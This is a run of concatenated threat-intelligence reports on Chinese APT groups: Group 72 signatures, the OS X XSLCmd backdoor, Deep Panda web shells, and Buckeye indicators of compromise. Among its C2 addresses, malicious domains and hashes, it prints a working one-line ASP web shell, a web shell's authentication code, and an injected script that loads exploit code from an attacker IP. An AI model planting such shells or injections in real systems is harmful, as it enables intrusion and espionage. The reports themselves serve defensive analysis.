identified such as seemingly naming domains after their intended victim. We have observed domains such as companyname.attackerdomain.com and companyacronym.attackerdomain.com. We have also observed similar patterns in the disposable email addresses used to register their domains. These slips, among others, allow us to follow their activities. Intriguingly we have observed the same email address being used in the activities of this and two other threat actor groups. This may suggest that these three groups are indeed one unit, or possibly hint at shared staff or ancillary facilities. We will post a follow up with more technical detail in the coming days.
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ClamAV names and Snort Signature IDs detecting Group 72 RAT malware: Gh0stRat Win.
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data/reports_final/0224.txt
ClamAV names and Snort Signature IDs detecting Group 72 RAT malware: Gh0stRat Win. Trojan. Gh0stRAT, 19484, 27964 PoisonIVY / DarkMoon Win. Trojan. DarkMoon, 7816, 7815, 7814, 7813, 12715, 12724 Hydraq Win. Trojan. HyDraq, 16368, 21304 HiKit Win. Trojan. HiKit, 30948 Zxshell Win. Trojan. Zxshell, 32180, 32181 DeputyDog Win. Trojan. DeputyDog, 28493, 29459 Derusbi Win. Trojan. Derusbi, 20080 http://tools.cisco.com/security/center/viewAlert.x?alertId26148 http://tools.cisco.com/security/center/viewAlert.x?alertId30843 Protecting Users Against These Threats Advanced Malware Protection (AMP) is ideally suited to detect the sophisticated malware used by this threat actor. CWS or WSA web scanning prevents access to malicious websites, including watering hole attacks, and detects malware used in these attacks. The Network Security protection of IPS and NGFW have up-to- date signatures to detect malicious network activity by threat actors. ESA can block spear phishing emails sent by threat actors as part of their campaign. Tags: APT, malware, Operation SMN, security, SMN, Talos, threats http://www.cisco.com/c/en/us/support/security/amp-firepower-software-license/tsd-products-support-series-home.html http://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html http://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html http://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html http://www.cisco.com/c/en/us/products/security/asa-next-generation-firewall-services/index.html http://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html http://blogs.cisco.com/tag/apt/ http://blogs.cisco.com/tag/malware/ http://blogs.cisco.com/tag/operation-smn/ http://blogs.cisco.com/tag/security-2/ http://blogs.cisco.com/tag/smn/ http://blogs.cisco.com/tag/talos2/ http://blogs.cisco.com/tag/threats/ Forced to Adapt: XSLCmd Backdoor Now on OS X Introduction FireEye Labs recently discovered a previously unknown variant of the APT backdoor XSLCmd OSX.XSLCmd which is designed to compromise Apple OS X systems. This backdoor shares a significant portion of its code with the Windows- based version of the XSLCmd backdoor that has been around since at least 2009. This discovery, along with other industry findings, is a clear indicator that APT threat actors are shifting their eyes to OS X as it becomes an increasingly popular computing platform. Across the global threat landscape, there has been a clear history of leveraging (or porting) Windows malware to the Apple OS X platform. In 2012, AlienVault discovered a document file exploiting an older vulnerability in Microsoft Word that installs a backdoor named MacControl on OS X systems. The group responsible for those attacks had been targeting Tibetan non-government organizations (NGOs). It was later discovered that the code for this backdoor was borrowed from an existing Windows backdoor, whose source code can be found on several Chinese programming forums. In 2013, Kaspersky reported on a threat actor group they named IceFog that had been attacking a large number of entities related to military, mass media, and technology in South Korea and Japan. This group developed their own backdoor for both Windows and OS X. And just this year, Kaspersky published a report on a group they named Careto/Mask that utilized an open source netcat-like project designed to run on nix and Windows systems named sbd which they wrapped in a custom built installer for OS X. Based on our historical intelligence, we believe the XSLCmd backdoor is used by APT, including a group that we call GREF. We track this threat group as GREF due to their propensity to use a variety of Google references in their activities some of which will be outlined later in this report. Our tracking of GREF dates back to at least the 2009 timeframe, but we believe they were active prior to this time as well. Historically, GREF has targeted a wide range of organizations including the US Defense Industrial Base (DIB), electronics and engineering companies worldwide, as well as foundations and other NGOs, especially those with interests in Asia. XSLCmd for OS X Analysis The XSLCmd backdoor for OS X was submitted to VirusTotal (MD5: 60242ad3e1b6c4d417d4dfeb8fb464a1) on August 10, 2014, with 0 detections at the time of submission. The sample is a universal Mach-O executable file supporting the PowerPC, x86, and x86-64 CPU architectures. The code within contains both an installation routine that is carried out the first time it is executed on a system, and the backdoor routine which is carried out after confirming that its parent process is launchd (the initial user mode process of OS X that is responsible for, amongst other things, launching daemons). The backdoor code was ported to OS X from a Windows backdoor that has been used extensively in targeted attacks over the past several years, having been updated many times in the process. Its capabilities include a reverse shell, file listings and transfers, installation of additional executables, and an updatable configuration. The OS X version of XSLCmd includes two additional features not found in the Windows variants we have studied in depth: key logging and screen capturing. http://www.alienvault.com/open-threat-exchange/blog/ms-office-exploit-that-targets-macos-x-seen-in-the-wild-delivers-mac-contro http://bad-bytes.blogspot.com/2012/07/maccontrol-cyber-espionage-rat-linked.html http://securelist.com/blog/research/57331/the-icefog-apt-a-tale-of-cloak-and-three-daggers/ http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf Installation Routine To install, XSLCmd first determines the endianness of the CPU using NXGetLocalArchInfo and whether or not it is running as the super user by comparing the return value of getuid()with 0. The code includes functions to handle endianness differences when dealing with file and network data on a system using big endian, namely older Apple computers that shipped with PowerPC CPUs. The process copies its Mach-O from its current location to HOME/Library/LaunchAgents/clipboardd and creates a plist file in the same directory with the name com.apple.service.clipboardd.plist. The latter file ensures that the backdoor is launched after the system is rebooted once the user logs in. After this is done, the malware relaunches itself using the load option of the launchctl utility, which runs the malware according to its configuration in the plist file it created, with launchd as its parent process. This is the process that begins the actual backdoor routine of waiting for and executing commands issued from the C2 server. After running itself with launchctl, the initial process forks and deletes the Mach-O from the original location from which it was executed. The installation routine differs slightly depending on whether or not the process is running with super user privileges. If run as super user, it copies itself to /Library/Logs/clipboardd. Interestingly, if run as super user, the process will also copy /bin/ksh to /bin/ssh. /bin/ksh is the Korn shell executable, and if the user sends a command to initialize a reverse shell, it will use the copy of ksh to do so instead of /bin/bash. This is likely done to make it less obvious that a reverse shell is running on the system, since it may raise less suspicion to see an ssh process opening a network socket rather than a bash process, although the real ssh executable is actually located in /usr/bin/ssh, not /bin/ssh. A list of possible files created by XSLCmd is included in Appendix 1 at the end of this blog. Configuration Options XSLCmd ships with an encrypted configuration file that it defaults to if there is no configuration file written to disk. It will only write its configuration file to disk if its updated by the user. It runs in a loop, checking for a configuration update, and then checking for commands. If a new configuration is available, it will be written to disk in base64 encoding at HOME/.fontset/pxupdate.ini. Below is the configuration data stored in the XSLCmd sample we obtained. [ ListenMode] 0 [MServer] 61.128.110.38:8000 [BServer] 61.128.110.38 [Day] 1,2,3,4,5,6,7 [Start Time] 00:00:00 [End Time] 23:59:00 [Interval] 60 [MWeb] http://1234/config.htm [BWeb] http://1234/config.htm [MWebTrans] 0 [BWebTrans] 0 [FakeDomain] www.appleupdate.biz [Proxy] 0 [Connect] 1 [Update] 0 [UpdateWeb] not use [MServer] and [BServer] specify the main and backup C2 server addresses, which can be either an IP address or domain name. Only [MServer] needs to specify a port. [ Day] specifies which days of the week the malware will poll for commands and configuration updates on where Monday is 1. [ Start Time] specifies the local time of day to begin polling. [ End Time] specifies the local time of day to stop polling. [ Interval] specifies the number of seconds between polls. [ MWeb] and [BWeb] specify the main and backup URLs to poll for configuration updates, respectively. Update checks are not performed if these values are left to their default: http://1234/config.htm Other options will be explained where appropriate later in the blog. C2 Protocol XSLCmd uses pseudo-HTTP for its protocol. It opens a socket and uses a string template to setup the HTTP request or response headers depending on whether or not it was configured for [Listen Mode]. If [Listen Mode] is set to 1, then it listens on its socket, waiting for a connection for which it will reply to with HTTP response headers following this template: HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Server: Apache/2.0.54 (Unix) Content-Encoding: gzip Content-Length: d The body after the headers, regardless of mode, will contain data specific to the purpose of the communication. The data is encrypted with a scheme lifted from a game server engine written by a group named My Destiny Team. The request headers have an interesting feature where the Host and Referer header values will have their domain values populated with the value stored in [Fake Domain]. This value can be any string and has no effect on the network connection established. The value of the s argument in the request URL is randomly generated, and all of the other request header values except for Content-Length are hard-coded. http://read.pudn.com/downloads146/ebook/635386/src/gameserver/encdec.cpp__.htm Another interesting feature exists for the configuration update function. If [MWebTrans]/[BWebTrans] is set to 1, the configuration update URL request will be proxied through Yahoos Babelfish service and will fall back to the Google Translate service if that fails. As you can see, the trurl parameter in the URL will be set to whatever is configured for [MWeb]/[BWeb]. The User- Agent header for this request is hard-coded and contains the computer name in the parentheses at the end. SSL certificate strings were noticed during our analysis, but with no direct cross-reference to the certificate data. http://www.fireeye.com/blog/wp-content/uploads/2014/09/osx1.png http://www.fireeye.com/blog/wp-content/uploads/2014/09/osx2.png However, there was a cross-reference to the data directly preceding it. This data began with what looked like SSL handshake headers, so we extracted the data from the executable, wrapped it in a PCAP file, and opened it in Wireshark. Interestingly, the data contains everything needed for the server-side packets of an SSL handshake. The SSL certificate being used was for login.live.com and had expired on 6/16/2010. The code using this data opens a socket, waits for a connection, and proceeds to carry out an SSL handshake with the client, throwing away whatever data it receives. This code is not directly referenced by any other code in the executable but could very well replace the [Listen Mode] code. Perhaps it is an old feature no longer in use, a new feature yet to be fully implemented, or an optional feature only used in certain cases. Observations We noticed a mix of manually constructed and plain referenced strings throughout the code, sometimes side-by-side in the same function even. This gives the impression of someone working with someone elses code, adding his own touch and style here and there as he goes. Also of note is that XSLCmd will not perform key logging if run as super user. This can be a problem, because the API used to perform the key logging, CGEventTapCreate, when invoked with the parameters it uses, requires root permissions http://www.fireeye.com/blog/wp-content/uploads/2014/09/osx3.png http://www.fireeye.com/blog/wp-content/uploads/2014/09/osx4.png from the calling process or the Assistive Devices feature must be enabled for the application. During the initial installation, there is a routine to programmatically enable assistive devices that will be executed if the OS X version is not 10.8. In 10.9, enabling assistive devices permissions is done on a per application basis with no direct API to achieve this. It is interesting to note that the version check does not account for versions above 10.8, indicating that perhaps 10.8 was the latest version at the time the code was written, or at least the most common. Further supporting this inference is the lack of testing performed on 10.9. This variant uses an API from the private Admin framework that is no longer exported in 10.9, causing it to crash. The effort to support PowerPC with the endian conversion functions is worth mentioning. Coupling this observation with the aforementioned fact that elsewhere in the code, the version of OS X is compared with 10.8, one could deduce that efforts were made to be backwards compatible with older OS X systems. For some frame of reference, Apples first OS to drop support for PowerPC was OS X 10.6 released in 2009, and OS X 10.9 was released in October of 2013. Threat Actor Intelligence Historical Background While GREFs targeting interests overlap with many of the other threat groups we track, their TTPs are somewhat unique. GREF is one of the few APT threat groups that does not rely on phishing as their primary attack method. While they have been known to utilize phishing emails, including malicious attachments and links to exploit sites, they were one of the early adopters of strategic web compromise (SWC) attacks. GREF was especially busy in the 2010 timeframe, during which they had early access to a number of 0-day exploits including CVE-2010-0806 (IE 6-7 Peer Objects vuln), CVE-2010-1297 (Adobe Flash vuln), and CVE-2010-2884 (Adobe Flash) that they leveraged in both phishing and SWC attacks. Many of their SWC attacks we saw in this time period were hosted on defense industry-related sites including Center for Defense Information (cdi.org), National Defense Industrial Association (ndia.org), Interservice/Industry Training, Simulation and Education Conference (iitsec.org), and satellite company Millennium Space Systems (millennium-space.com). Most of those attacks involved embedding links to exploit code in the homepage of the affected website, and true to their moniker the link was usually placed inside an existing Google Analytics code block in the page source code to help obscure it, rather than simply appended to the end of the file like many other attackers did. Figure 1: Sample google exploit link Google Tracking Code script typetext/javascript var gaJsHost ((https: document.location.protocol) ? https://ssl. : http://) document.write(unescape(3Cscript src gaJsHost 180.149.252.181/wiki/tiwiki.ashx typetext/javascript3E3C/script3E)) /script http://hints.macworld.com/article.php?story20060203225241914 The TTP that most differentiates GREF from other APT threat groups is their unrelenting targeting of web server vulnerabilities to both gain entry to targeted organizations, as well as to get new platforms for SWC attacks. This threat group appears to devote more resources (than most other groups) in attempting to penetrate web servers, and generally, they make no attempt to obscure the attacks, often generating gigabytes of traffic in long-running attacks. They are known to utilize open-source tools such as SQLMap to perform SQL injection, but their most obvious tool of choice is the web vulnerability scanner Acunetix, which leaves tell-tale request patterns in web server logs. They have been known to leverage vulnerabilities in ColdFusion, Tomcat, JBoss, FCKEditor, and other web applications to gain access to servers, and then they will commonly deploy a variety of web shells relevant to the web application software running on the server to access and control the system. Another historical TTP attributed to GREF was their frequent re-use of specific IP ranges to both perform reconnaissance and launch their attacks, as well as for command and control and exfiltration of data. In the early years, we documented them routinely using IP addresses in the 210.211.31.x (China Virtual Telecom Hong Kong), 180.149.252.x (Asia Datacenter Hong Kong), and 120.50.47.x (Qala Singapore). In addition, their reconnaissance activities frequently included referrer headers from google.com and google.com.hk with search features such as inurl and filetype looking for specific systems, technologies, and known vulnerabilities. C2 Domains GREF is known to have sometimes configured their malware to bare IP addresses, rather than domains, but there are some clusters of domain registrants that we attribute to them. Table 1: GREF domain registrations Domain Registrant Email Address allshell[. ]net cooweb51[]hotmail.com attoo1s[. ]com cooweb51[]hotmail.com kasparsky[. ]net cooweb51[]hotmail.com kocrmicrosoft[. ]com cooweb51[]hotmail.com microsoft.org[. ]tw cooweb51[]hotmail.com microsoftdomainadmin[. ]com cooweb51[]hotmail.com microsoftsp3[. ]com cooweb51[]hotmail.com playncs[. ]com cooweb51[]hotmail.com softwareupdatevmware[. ]com cooweb51[]hotmail.com windowsnine[. ]net cooweb51[]hotmail.com cdngoogle[. ]com metasploit3[]google.com cisco-inc[. ]net metasploit3[]google.com mremote[. ]biz metasploit3[]google.com officescan[. ]biz metasploit3[]google.com oprea[. ]biz metasploit3[]google.com battle.com[. ]tw 6g8wkx[]gmail.com diablo-iii[. ]mobi 6g8wkx[]gmail.com microsoftupdate[. ]ws 6g8wkx[]gmail.com msftncsl[. ]com 6g8wkx[]gmail.com square-enix[. ]us 6g8wkx[]gmail.com updatamicrosoft[. ]com 6g8wkx[]gmail.com powershell.com[. ]tw 6g8wkx[]gmail.com gefacebook[. ]com 6g8wkx[]gmail.com attoo1s[. ]com 6g8wkx[]gmail.com msnupdate[. ]bz skydrive1951[]hotmail.com googlemapsoftware[. ]com skydrive1951[]hotmail.com XSLCmd Usage For the majority of the time weve been tracking them, XSLCmd has been the go-to backdoor for GREF, as shown by the wide range of compile dates for the Windows samples we have: from 2009-01-05 to 2013-08-01. Appendix 2 provides a partial list of Windows sample hashes and configuration metadata. Since Mach-O binaries do not have a compile timestamp like Windows executables, we can only infer from other data when the OS X variant was developed. As mentioned above, the FakeDomain was configured to www.appleupdate[. ]biz, which was originally registered on August 2, 2012, and the registration appears to have updated on August 7, 2014, but the registrant is still the same cast west. When we found the sample on August 10, the domain did not resolve and there were no historical records for appleupdate[. ]biz in any of the passive DNS (pDNS) sources we checked. In the intervening weeks, it has been seen by pDNS sensors, with the first query occurring on August 12, 2014 (which could be related to our research, since the hits are nxdomain), and then on August 16, 2014 there are pDNS records pointing to 61.128.110.38, which youll notice is the same IP the OS X version was configured to use. This could hint at the possibility that this OS X port of XSLCmd was recently developed and deployed however, this remains uncertain. Other Backdoor Usage In addition to XSLCmd, GREF has utilized a number of other backdoors over time. Another backdoor unique to them, which we call ddrh, is a limited-feature backdoor that was frequently dropped in the SWC attacks in 2010, but has not been seen much since. Another historical backdoor attributed to GREF is one known as ERACS or Trojan. LURKER (not to be confused with LURK0 variant of Gh0st). This full-featured backdoor includes the usual backdoor functionality, including the support for additional modules, but it also includes a USB monitoring capability that generates a directory listing of USB- connected devices. We have also observed GREF using a handful of other common backdoors including Poison Ivy, Gh0st, 9002/HOMEUNIX, HKDoor, and Briba, but these occurrences have been pretty rare. All of the GREF 9002/HOMEUNIX samples in our repository have compile dates from 2009 or 2010. Interestingly enough, there is some overlap with a cluster detailed in a report we released in November of last year, specifically the AllShell cluster (C2: smtp.allshell[. ]net). Starting in mid-2012, GREF started using the Kaba/SOGU backdoor. These early samples, which were discussed in great detail by LastLine in their blog post An Analysis of PlugX, are usually bundled into a RAR self-extracting executable and uses the three-part loading mechanism consisting of an executable, the malicious DLL that is side-loaded, and the shellcode file. http://www.fireeye.com/resources/pdfs/fireeye-malware-supply-chain.pdf http://labs.lastline.com/an-analysis-of-plugx In mid-2013, GREF switched to using a new Kaba/SOGU builder that created binaries with unique metadata. For example, many of these samples create a mutex of PST-2.0 when executed, and some have the shared HT Applications version metadata. Conclusion The A in APT is generally used to describe the threat actors as Advanced, but with this blog, we also see that they are also Adaptable. Not only have they adopted new Windows-based backdoors over time, as Apples OS X platform has increased in popularity in many companies, they have logically adapted their toolset to match in order to gain and maintain a persistent foothold in the organizations they are targeting. OS X has gained popularity across enterprises, from less savvy users who find it easy to operate, to highly technical users that utilize its more powerful features, as well as with executives. Many people also consider it to be a more secure computing platform, which may lead to a dangerous sense of complacency in both IT departments and with users. In fact, while the security industry has started offering more products for OS X systems, these systems are sometimes less regulated and monitored in corporate environments than their Windows peers. Clearly as the OS X platform becomes more widely adopted across enterprises, threat groups like GREF will continue to adapt and find ways to exploit that platform. Credit to Jay Smith for his initial analysis of the Windows version of the XSLCmd backdoor and Joshua Homan for his assistance in this research. Appendix 1: XSLCmd for OS X created files Filename Purpose HOME/Library/LaunchAgents/clipboardd executable /Library/Logs/clipboardd executable when run as super user HOME/Library/LaunchAgents/com.apple.service.clipboardd.plist plist for persistence HOME/.fontset/pxupdate.ini configuration file HOME/.fontset/chkdiska.dat additional configuration file HOME/.fontset/chkdiskc.dat additional configuration file HOME/Library/Logs/BackupData/yearmonthday_hr_min_sec_keys.log key log file Appendix 2: XSLCmd sample metadata Mo Shells Mo Problems - Deep Panda Web Shells Disclaimer: CrowdStrike derived this information from investigations in non-classified environments. Since we value our clients privacy and interests, some data has been redacted or sanitized. Crowdstrike presents Mo Shells Mo Problems - A four part series featuring two unique web shells used by a Chinese threat group we call Deep Panda. The series will culminate with a CrowdCast in April 2014 detailing a case study of the incident response investigation conducted to identify these web shells. Special thanks to Josh Phillips of the CrowdStrike Global Intelligence Team for providing the technical analysis in this blog post. Today well cover part one of this series, which provides an overview of what web shells are, functionality of two web shells recently identified during an incident response investigation and how they were leveraged by the attacker. Parts two through four will provide details on successful analytical techniques you can use to discover web shells within your environment: Mo Shells Mo Problems: Deep Panda Web Shells (Part 1) Mo Shells Mo Problems: File Stacking (Part 2) Mo Shells Mo Problems: Web Log Review (Part 3) Mo Shells Mo Problems: Network Detection (Part 4) A Web Shell is a file containing backdoor functionality written in a web scripting language such ASP, ASPX, PHP or JSP. When a web shell is hosted on an internet facing victim system, an adversary can remotely access the system to perform malicious actions. Deep Panda is a China based threat group CrowdStrike has observed targeting companies in the defense, legal, telecommunication and financial industries. Crowdstrike has observed Deep Panda adopting web shells as their primary access back into a victim organization. This is an interesting shift as web shells have typically been seen as only a first stage into obtaining a persistent foothold in an environment. Previously, web shells were quickly abandoned once persistent second stage malware was successfully beaconing. Using a web shell as a primary backdoor gives Deep Panda several advantages: Low to virtually no detection by antivirus products The absence of command and control beacon traffic Impossible to block known malicious IP addresses to a web server since adversary can easily change their source IP address Cookie and HTTP header authentication aware web shells avoid being enumerated by search engines and restrict access, further reducing their network footprint To assist organizations with identifying web shells in their environment, this post will cover two popular Deep Panda web shells. By gaining insight into their capabilities and footprint, organizations should find it feasible to detect and remediate these backdoors. Showimg.asp Path: E:\inetpub\wwwroot\Redacted\ MD5 Hash: ffa82c64720179878b25793f17b304d7 File Size: 28 Table 1: Showimg.asp Metadata Showimg.asp is an example of an early stage web shell used to build an initial foothold within a network. After it is replaced by more robust backdoors, it may be left in place as a last resort should remediation take place. At a diminutive 28 bytes, it is one of the smallest Active Server Page (ASP) backdoors in the wild. In a recent case, we witnessed this web shell written to a standalone file (named showimg.asp), but it could easily be injected into an existing page, making it even stealthier. The code for this web shell can be found below: execute request(chr(42)) Table 2: Showimg.asp Web Shell Script ASP uses Microsoft Visual Basic (VBScript) as its implementation language. The code above uses the chr() function to convert an integer into a character, which is then passed as an argument to the ASP Request() object. The Request() object will search the Query String for any keys matching the input. In our case, the code is equivalent to Request. QueryString(). The request object will look for chr(42) which is an asterisk (), returning whatever is passed to it in a HTTP GET or POST. Next, the Execute() function will execute any value returned by the lookup. Effectively, an attacker can form a request that will execute any VBScript code. As you might imagine, this is a powerful capability. For example, this code can perform any of the following actions: File upload or download File system read, write, or delete Arbitrary command execution This web shell is an example of a thick client shell, meaning that while the server side code is quite small, attackers typically use a larger GUI client to construct the sent commands. The client GUI runs on the attackers system and hence is not typically found within the victim network. As a simple example of an encoded command, the following GET request would cause the backdoor to execute the code Response. Write(h1Hello World/h1) and would render Hello World to be printed in the web browser: http://webserver/showimage.asp526573706F 6E73652E577269746528223C68313E4865 6C6C6F20576F726C643C2F68313E2229 Table 3: showimg.asp Web Shell Script System_web.aspx Path: C:\inetpub\wwwroot\aspnet_client\system_web\VERSION\ MD5 Hash: cc875db104a602e6c12196fe90559fb6 File Size: 45187 Table 4: Metadata of system_web.aspx System_web.aspx is an excellent example of a more robust web shell used to replace Deep Pandas traditional beaconing command and control infrastructure. It is an ASP.NET backdoor written in C, with far more capabilities than we saw with the showimage.asp sample. The web shell supports a form of authentication to protect against unauthorized access. This prevents its discovery from search engine indexing, vulnerability scanning tools and other unauthorized access to the backdoor. In order to bypass authentication, a user session must satisfy one of three options: Pass a cookie with the name Redacted Set the Keep-Alive HTTP header to 320 Set language HTTP header to contain es-DN Since web shells are text-based, we can easily see how this authentication takes place: try Init() if (IsUserValid()) try int. Parse(Request. Cookies[REDACTED].Value) Page. Visible true catch (Exception) Page. Visible false Response. Clear() Response. End() else Page. Visible true Response. SetCookie(new HttpCookie(REDACTED, DateTime. Now. Second. ToString())) catch (Exception) Page. Visible false Response. End() private void Init() try if (Request. Cookies[cp] null) File. Copy(Request. PhysicalPath, Request. Cookies[cp].Value, true) Response. Cookies[cp].Expires DateTime. Now. AddDays(-1) Response. End() catch (Exception ex) Log(ex. ToString()) private bool IsUserValid() if (Request. Headers[Keep-Alive] 320) return true if (Request. UserLanguages. Length 0) foreach (string s in Request. UserLanguages) if (s.IndexOf(es-DN) 0) return true catch (Exception) return false Table 5: system_web.aspx Authentication Code First, the code checks if a cookie by the name of cp exists. If so, the response object has its End() method invoked, denying the user access. Next, the code uses the IsValidUser()method and checks the Hyper Text Transport Protocol (HTTP) headers for the Keep-Alive value, which, if equal to 320, will return true. If the value does not equal 320 the IsValidUser()method iterates over the Request. UserLanguages collection searching for a language named es-DN, and if found, the IsValidUser() method will return true. If neither check passes, the code returns false and the code will finally check for the presence of a cookie named REDACTED. If the cookie is present, the authentication step is satisfied. If not, a blank web page with no content is displayed. After successful authentication, the attacker is provided with the following page: System_web.aspx packs a large amount of functionality into a compact interface. It provides the following capabilities: Enumerate attached drives Utilize built in SQL functions to connect to database backend Run SQL queries and statements Download, upload and read files Directory listing Execute Active Directory requests Compile and execute arbitrary C source code Impersonate a user The web shell supports 8 main commands, with most command execution via Transact-SQL using the xp_cmdshell function. Exec This command depends on the contents of the first unlabeled textbox1. If unlabeled textbox1 is empty, the code will enumerate attached drives. Provider or Driver - Will connect using the OleDbConnection class. Data Source - The code will connect using the SqlConnection class. iis:// - If this appears in unlabeled textbox1, the code will use data from the second unlabeled textbox2 to execute Active Directory requests. Down http://www.crowdstrike.com/drupal7/sites/default/files/medium_Web20Shells.png This command also depends on the text contained in the unlabeled textbox1. If the field is left empty, the code will assume a valid path to a file on the local machine and will read and display contents to user. Data Source - the code will assume that the unlabeled textbox2 contains a valid SQL query and will execute it and display the results. http:// - If this appears in unlabeled textbox1, download content from the assumed URL. SEX If this appears in unlabeled textbox1, pass the contents to the Server. Execute() method. BF Execute contents in unlabeled textbox1 as a SQL query and return binary data to adversary. GF Execute contents in unlabeled textbox1 as a SQL statement and return valid textual data to adversary. TF Upload the file chosen by the Choose File button and save it to a temporary table in the database file worktbl in chunks of 10240 bytes. Then executes xp_cmdshell (which executes the Bulk Copy Program) to copy the data from that table to a file whose name is specified in unlabeled textbox2. After the file is saved, the code deletes the temporary table. RF If unlabeled textbox1 is a local file on infected system, the file is read and displayed to attacker. \\ - If unlabeled textbox1 starts with \\, use xp_cmdshell to execute the copy command to copy file to windir\Temp\temp.bin. Then, issue the dir command and display results to user. Finally, delete the temporary file windir\Temp\temp.bin. DIR Perform Active Directory queries. The code handles create, delete, set, get, and enum queries, while any query not matching those is executed directly. All commands are executed using the System. DirectoryServices API. Eva Simple wrapper around the CSharpCodeProvider API, allowing the adversary to compile and execute arbitrary C source code. Login Checkbox Attempt to use the username, password, and domain from the User, Pass and Domain fields and LogonUserA() Win32 API function to impersonate a specific user. Detatch Checkbox Specifies whether commands run from the Exec button will have their output redirected and displayed to the adversary when the command is finished executing. In short, system_web.aspx provides an adversary with a very stealthy means of near full control of the server on which it resides. This stealth might be its most important attribute. As we will see, identifying web shells can be much harder than finding malicious binaries. In our next post, we will discuss techniques for identifying web shells. Stay tuned for Parts 2-4 as we cover File Stacking, Web Log Review, and Network Detection. In the meantime, register now for the April 1st CrowdCast. https://attendee.gotowebinar.com/register/8497096584722200321 Buckeye cyberespionage group shifts gaze from US to Hong Kong Several organizations in Hong Kong are being targeted by a cyberespionage group known as Buckeye. By: Symantec Security Response Symantec Employee Created 06 Sep 2016 Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong. Since March 2016, the group has appeared to mostly focus on organizations in Hong Kong, sending malicious emails to targets as recently as August 4, and attempting to spread within compromised networks in order to steal information. Using the combined threat intelligence of Symantec and Blue Coat Systems, we have built a clear and concise picture of how Buckeye has evolved its tactics in recent years. This has allowed us to further enhance our protection capabilities against the groups campaigns. Background Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor. Pirpi) in attacks against a US organizations network in 2009.
225
B Backdoor.
46,970
47,390
421
data/reports_final/0225.txt
B Backdoor. Pirpi. C Backdoor. Pirpi. D Downloader. Pirpi Downloader. Pirpig1 Intrusion prevention system System Infected: Backdoor. Pirpi Activity 3 UpdateSeptember 14, 2016: Indicators of compromise We have compiled a list of indicators of compromise for the campaigns described in this blog. Symantec Security Response - Buckeye Indicators of Compromise Published: Sep 14, 2016 Network IoCs ------------ Domain/URLs ste.mullanclan.com [http://]ste.mullanclan.com/v/images/323020339.gif [http://]ste.mullanclan.com/v/PHH55901496.html [http://]ste.mullanclan.com/v/images/rec.exe [http://]ste.mullanclan.com/v/i/Typ24883839.html [http://]ste.mullanclan.com/v/images/fvp.exe [http://]ste.mullanclan.com/v/13.js [http://]ste.mullanclan.com/v/Typ72954330.html parent.kaapagrains.com [http://]parent.kaapagrains.com/web/images/eof.exe [http://]parent.kaapagrains.com/web/images/mms.exe [http://]parent.kaapagrains.com/web/l/logo.zip [http://]parent.kaapagrains.com/web/images/calc.exe [http://]parent.kaapagrains.com/web/i/logo.xap ptr.holmessupply.com [http://]ptr.holmessupply.com/http/l/logo.zip [http://]ptr.holmessupply.com/http/i/logo.zip lite.ultralitedesigns.com Host based IoCs --------------- SHA256 7b1a3c32e7a32b501248e68be2961309b8f461f3f405f6520cd521e08446395e 0dee1dbbbbc86c69e349eb23788174984bfa27c34ee171ea05f86942230bca82 2a5a0bc350e774bd784fc25090518626b65a3ce10c7401f44a1616ea2ae32f4c f935ee8a25b60d39b6451d62c35e2eec130799837f41a9beba4e264e15d95314 8caa179ec20b6e3938d17132980e0b9fe8ef753a70052f7e857b339427eb0f78 02ea3fce33fa23ff825a6957df99dfe6cabae9281ba3c34e6c596599f5d55352 0867cd1f022baa98902a60dd0dd47e4180dc22420b0a1a537534eb1673d596d2 https://www.symantec.com/security_response/writeup.jsp?docid2016-090215-3941-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052306-0729-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052307-0717-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052307-2534-99 https://www.symantec.com/security_response/writeup.jsp?docid2013-041116-2513-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-052305-1137-99 https://www.symantec.com/security_response/writeup.jsp?docid2016-082508-5810-99 https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27577 http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/Symantec-Buckeye-IOCs.txt 0cb178b26488c7fc52cacf3acddbabe2a5077d606dc23c4917f785a662fd0ba8 0d8d6d388a2d4ba94f3a91ad79e209fbdf1a8e1af86a6ed8d518b53d72a5be4e 18fa855b1f522ed8261980bbec0631e8f9b1e85de15c2cc34521cf0adcaea656 2241248cbb80483d15b764eb4ab149e7a94b38a49c466e58fd7ce9b0b20af4ba 2528c9df3d7ed7c18d790d690ebb4bcacf25292fd4e7d3c73ba42d3d3cba20a2 2febab3f0d1e3df0ee64b52ac1e0154305ff3f6aeada4a79a8f10ef5e84f5dac 313ad88b6a8e6c1e53a355a12ad18a19c5d04abc021549b4a451aee7cec024b9 389f0c0f19095baa8f9ad6a8642a939d09b3c943ebdcade11dda04c06cf0dd66 3c7c30ff0bb6eb04819d121e51a36dadecc6af747718e2373489bde18cbce001 3c8dfd965f4e583ec971b5953edfb2a4bda029425599c35e103dc364fdb57b9c 3ca85ff1cbca6672fcdcb483fccb977bc787affaecfb9983ee3b0c5e7fdef0d2 3dc4f9d2083667acf1e83dfd8f1535c068c51f0a5b9f5db808a4c0227d0d9d7a 3f040f17ea9f87b48558f79121165c12e06c5f1707ee8f7492cd99886b459378 4436c961470f4a552bc819976a934aba24de853fa91b8d9fc8c0009665f7aadb 4ca207f0c1b6fd5dc7f25e54f83d2b63cda4d909661fe8378cfae2ea7c55b289 4d353eff55d4b51540215af44063aa5ef2e4d2cd6764eb124291e6beb0303550 6510bd08678f5c63a962bf1f68b8c34c648ac53fbea25392c61d6d576923ac41 65ea6ec4ff174c62992f6304ebf1356fad6497fb48db90d2c6af5654d49f08f3 669fe38efa1bc5a3b0aa0b4637434371d2309875015112068eb58ec4b8eb2e64 